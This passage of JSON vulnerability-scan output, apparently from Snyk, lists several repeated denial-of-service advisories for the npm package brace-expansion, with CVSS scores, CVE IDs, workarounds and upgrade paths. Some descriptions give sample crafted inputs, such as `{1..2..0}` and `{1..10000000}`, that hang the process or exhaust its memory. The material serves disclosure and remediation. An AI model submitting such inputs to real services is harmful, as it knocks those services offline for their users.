"assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": 